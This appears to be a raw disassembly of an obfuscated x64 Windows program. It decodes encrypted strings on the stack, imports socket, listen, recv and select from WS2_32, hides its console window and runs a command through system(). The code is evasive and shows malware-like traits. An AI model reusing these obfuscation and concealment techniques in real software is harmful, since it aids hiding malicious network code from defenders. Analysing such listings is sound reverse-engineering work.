sub dil, 8
movzx eax, byte [rsp + rsi + 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140095553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140095927
lea edx, [rsi - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140095b53
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14009594d
movzx r9d, sil
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
jmp 0x140095add
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400957ec
lea ecx, [rsi - 0x38]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x78
dec rsi
inc rsi
jmp 0x140095553
lea r10, [r8 + 1]
cmp rbx, r10
jne 0x1400959a6
movzx r9d, sil
lea edx, [r9 + 0x14]
movzx eax, dl
and al, r11b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140095c14
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400959cf
lea ecx, [rsi - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5c
dec rsi
inc rsi
jmp 0x140095553
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400959f5
lea ecx, [rsi + 0x74]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2c
add rbx, r8
jmp 0x140095c9e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140095822
lea edx, [rsi + 0x24]
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, sil
mov r8, r10
jmp 0x140095b2d
lea r10, [r8 + 1]
cmp rbx, r10
jne 0x140095a58
lea ecx, [rsi + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
movzx eax, byte [rsp + rsi + 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140095553
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140095a87
movzx r9d, sil
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
mov r8, r10
jmp 0x140095b2d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400957a7
lea edx, [rsi - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
jmp 0x140095c9e
mov byte [rsp + rsi + 0x40], dil
inc rsi
jmp 0x140095553
movzx r9d, sil
lea edx, [r9 - 0x20]
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r11b
sub r9b, 0x34
movzx eax, r11b
and al, r9b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
add cl, dil
mov byte [rsp + rsi + 0x40], cl
add rbx, r8
jmp 0x140095c9e
movzx r9d, sil
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rsp + rsi + 0x40]
lea edi, [r11 + rcx]
sub dil, 8
inc r8
sub r9b, 0x5c
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x7c
add cl, r9b
movzx eax, cl
mov byte [rsp + rsi + 0x40], al
add rax, r8
sub rsi, rax
lea edx, [rsi - 0x70]
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rsp + rsi + 0x40], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add rsi, rax
movzx eax, byte [rsp + rsi + 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140095553
lea edx, [rsi - 0xc]
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rsp + rsi + 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140095553
lea ecx, [rsi - 0x6c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0xc
add rbx, r8
jmp 0x140095c9e
lea ecx, [rsi - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3c
dec rsi
inc rsi
jmp 0x140095553
movzx r9d, sil
lea ecx, [r9 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6c
sub r9b, 0xc
movzx eax, r11b
and al, r9b
mov ecx, 0x2a
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rsp + rsi + 0x40], cl
inc r8
dec rsi
inc rsi
jmp 0x140095553
lea edx, [rsi - 0x54]
movzx eax, dl
and al, r11b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec rsi
inc rsi
jmp 0x140095553
lea edx, [rsi - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec rsi
inc rsi
jmp 0x140095553
lea rax, [rsi + r15]
and dl, al
add dl, dl
sub r11b, dl
lea edi, [rax + r11]
sub dil, 0x14
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140095553
lea rax, [rsi + r12]
and dl, al
add dl, dl
sub r11b, dl
lea edi, [rax + r11]
sub dil, 0x5c
movzx eax, byte [rsp + rsi + 0x40]
add rax, r8
add rsi, rax
inc rsi
jmp 0x140095553
sub sil, 0x3c
movzx eax, sil
and al, r11b
add al, al
sub sil, al
lea edi, [r11 + rsi]
sub dil, 0x5c
jmp 0x140095540
lea rcx, [rbp + 0x14c2dd0]
jmp 0x140095d11
lea rcx, [rbp + 0xcedabc]
jmp 0x140095d11
lea rcx, [rsp + 0x40]
call fcn.140098cb0
mov dword [rbp + 0xa0], 0xa856b876
mov dword [rbp + 0xa4], 0x9b9ab26a
mov dword [rbp + 0xa8], 0x8c6c9b95
mov dword [rbp + 0xac], 0x67968a93
mov dword [rbp + 0xb0], 0xe4959da3
mov dword [rbp + 0xb4], 0x1f36e2df
mov byte [rbp + 0xb8], 0x7e
xor eax, eax
mov qword [rbp + 0xb9], rax
mov dword [rbp + 0xc1], eax
mov word [rbp + 0xc5], ax
mov byte [rbp + 0xc7], al
movabs rsi, 0xfa25e6a865b131ad
movabs r15, 0xee71b3f931139507
movzx edi, byte [rbp + 0x1e8]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r11, r14
cmp r11, 0x28
jae 0x14009694e
movzx r10d, byte [rbp + r11 + 0xa0]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x140096945
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140095dec
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x45
jmp 0x140095e26
je 0x1400968d7
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400968a4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140096862
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140096840
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009681b
cmp r8, r11
ja 0x14009693c
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x140095e50
lea ecx, [r11 + 0x31]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x57
jmp 0x140095e90
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400967d0
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400967ab
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140096789
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14009675c
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400963f1
nop dword [rax]
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x1400963d2
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400963aa
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140096389
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140096366
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14009634b
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14009632c
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14009630d
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400962ee
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400962c1
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140095ea0
lea rbx, [r8 + 6]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14009691f
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140096902
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14009607e
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140096063
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140096048
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140096279
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140096230
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400961ef
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400961c9
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140095ea0
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x64]
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14009619c
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140096181
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14009615e
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140096143
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140096124
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140096105
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400960e0
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400960bc
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140096099
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x140095ea0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x42]
jmp 0x140095ea0
lea ecx, [r11 - 0x11]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x77
jmp 0x140095e90
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
jmp 0x140095e26
lea ecx, [r11 + 0x3b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x63
jmp 0x140095db6
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400967ee
lea ecx, [r11 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
inc r8
dec r11
inc r11
jmp 0x140095da3
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x140095da3
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x56
movzx r9d, r11b
jmp 0x140096880
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400968bb
lea ecx, [r11 - 0x3a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6a
jmp 0x1400968be
lea edx, [r11 + 0x6c]
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400966e8
lea ecx, [r11 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x140096715
lea ecx, [r11 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095da3
lea ecx, [r11 + 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x61
mov byte [rbp + r11 + 0xa0], dil
inc r11
jmp 0x140095da3
lea ecx, [r11 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
cmp r8, 0x3e8
jb 0x1400961df
movzx r9d, r11b
lea ecx, [r9 - 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 4]
jmp 0x1400967ee
lea ecx, [r11 - 0x5d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x75
cmp rbx, 3
jae 0x1400966a2
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400965a2
lea edx, [r11 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096205
lea ecx, [r11 + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc dil
lea rax, [r8 + rbx]
cmp rax, 4
je 0x1400966c6
lea rax, [r8 + 0x41]
cmp rbx, rax
jbe 0x1400964d8
lea ecx, [r11 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
jmp 0x140096246
lea ecx, [r11 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095da3
lea edx, [r11 - 0x34]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096715
movzx r9d, r11b
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
jmp 0x1400966e8
lea edx, [r11 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400968be
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
jmp 0x1400968bb
movzx r9d, r11b
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096880
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
dec r11
inc r11
jmp 0x140095da3
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140095da3
movzx r9d, r11b
lea ecx, [r9 + 0x56]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5a
jmp 0x1400967ee
lea rcx, [r8 + 2]
cmp rbx, rcx
jae 0x140096415
lea ecx, [r11 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x45
jmp 0x14009628e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14009644f
lea edx, [r11 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095da3
cmp rbx, rcx
jne 0x140096477
movzx r9d, r11b
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400966e8
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400964a3
movzx r9d, r11b
lea edx, [r9 + 0x24]
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096880
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009628e
lea edx, [r11 - 0x28]
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140095da3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140096500
movzx r9d, r11b
lea ecx, [r9 - 0x6d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 5
jmp 0x1400967ee
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14009652a
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
dec r11
inc r11
jmp 0x140095da3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096552
movzx r9d, r11b
lea ecx, [r9 - 0x5f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x67
jmp 0x140096880
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140096576
lea ecx, [r11 - 5]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x23
jmp 0x1400968bb
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140096246
movzx r9d, r11b
lea ecx, [r9 - 0x51]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x37
jmp 0x1400966e8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400965d8
lea ecx, [r11 - 0x3c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5c
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095da3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140096600
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140096715
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140096628
movzx r9d, r11b
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x1400966e8
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14009664c
lea ecx, [r11 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x1400968bb
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140096676
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
dec r11
inc r11
jmp 0x140095da3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140096205
movzx r9d, r11b
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x1400967ee
movzx r9d, r11b
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0xa0]
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
jmp 0x14009687d
movzx r9d, r11b
lea ecx, [r9 - 0x5e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, byte [rbp + r11 + 0xa0]
lea edi, [r10 + rcx]
sub dil, 0x6e
add r9b, 0x4f
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x29
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xa0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, select
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0xa0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095da3
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095da3
lea ecx, [r11 + 0x3f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x47
dec r11
inc r11
jmp 0x140095da3
lea ecx, [r11 - 0x1b]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x43
inc r8
dec r11
inc r11
jmp 0x140095da3
movzx r9d, r11b
lea edx, [r9 - 0x75]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x33
add dil, dl
sub r9b, 0x65
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x3d
add r10b, r9b
mov byte [rbp + r11 + 0xa0], r10b
inc r8
dec r11
inc r11
jmp 0x140095da3
lea ecx, [r11 + 0x7d]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x6b
inc r8
dec r11
inc r11
jmp 0x140095da3
lea ecx, [r11 + 0x23]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0xb
dec r11
inc r11
jmp 0x140095da3
movzx r9d, r11b
lea edx, [r9 - 0x37]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7f
add dil, dl
sub r9b, 0xb
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x4d
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0xa0], r10b
jmp 0x1400968bb
lea ecx, [r11 + 0x6f]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 9
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140095da3
lea rcx, [r11 + r15]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x31
movzx eax, byte [rbp + r11 + 0xa0]
add rax, r8
add r11, rax
inc r11
jmp 0x140095da3
sub r11b, 0x1f
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x27
jmp 0x140095da0
sub r11b, 0x79
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
add dil, 0x4f
jmp 0x140095d90
lea rcx, [rbp + 0x14d60dc]
jmp 0x140096955
lea rcx, [rbp + 0x17e9289]
jmp 0x140096955
lea rcx, [rbp + 0xa0]
call fcn.140098cb0
lea rdx, [rbp + 0x1f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
cmp dword [rbp + 0x1f0], 1
jne 0x1400969aa
xor edx, edx
mov rcx, qword [0x1401de3f0]
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.1400447b0
lea rcx, [0x14014a03c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 5
mov rcx, qword [0x1401de3f0]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x140149794]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140040810
mov rsi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rsp + 0x60], 0x28563876
mov dword [rsp + 0x64], 0x2a1a386a
mov dword [rsp + 0x68], 0x12036d15
mov dword [rsp + 0x6c], 0x11276109
mov dword [rsp + 0x70], 0xe91b651d
mov dword [rsp + 0x74], 0xe4e0ed9a
mov dword [rsp + 0x78], 0xd5ede19e
mov dword [rsp + 0x7c], 0x97acfed4
mov dword [rbp - 0x80], 0xfeefe3e6
mov dword [rbp - 0x7c], 0xddd389ff
mov dword [rbp - 0x78], 0x83dad6da
mov dword [rbp - 0x74], 0xdb80f0f6
mov dword [rbp - 0x70], 0xbbc0c2f7
mov dword [rbp - 0x6c], 0xbfc3c1ce
mov dword [rbp - 0x68], 0xf4c7c59b
mov word [rbp - 0x64], 0x83c6
mov byte [rbp - 0x62], 0x50
xor eax, eax
mov qword [rbp - 0x61], rax
mov dword [rbp - 0x59], eax
movabs r15, 0x60de91bd87cabed
movabs r13, 0x2a615fc2eb68b37b
movabs r12, 0x1229bb53897603c7
movzx edi, byte [rbp + 0x1e8]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
mov r11, r14
cmp r11, 0x4b
jae 0x140097563
movzx r10d, byte [rsp + r11 + 0x60]
mov rdx, r10
cmp rbx, r11
ja 0x14009755a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140096ac2
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x7b
jmp 0x140096af0
je 0x1400974ef
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14009746c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14009743a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140097419
nop
cmp r8, r11
ja 0x140097551
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140096b1d
lea ecx, [r11 + 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x17
jmp 0x140096b51
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400973d5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400973bd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400973a2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140097387
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400970c3
nop
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400970a0
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140097078
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140097053
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140097030
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140097011
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140096ff2
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140096fd3
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140096fb4
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140096f86
lea rbx, [r8 + 0xa]
lea r8, [rbx + 0x20]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140097534
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140097517
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140096d40
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140096d25
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140096d0a
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140096f3d
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140096ef5
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140096eb7
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140096e94
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140096b60
lea rbx, [r8 + 1]
lea r8, [rbx + 3]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140096e6a
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140096e4b
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140096e2c
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140096e0d
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140096dee
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140096dcb
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140096da6
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140096d7e
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140096d5b
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140096b60
lea rbx, [r8 + 2]
lea r8, [rbx + 4]
jmp 0x140096b60
lea ecx, [r11 - 0x51]
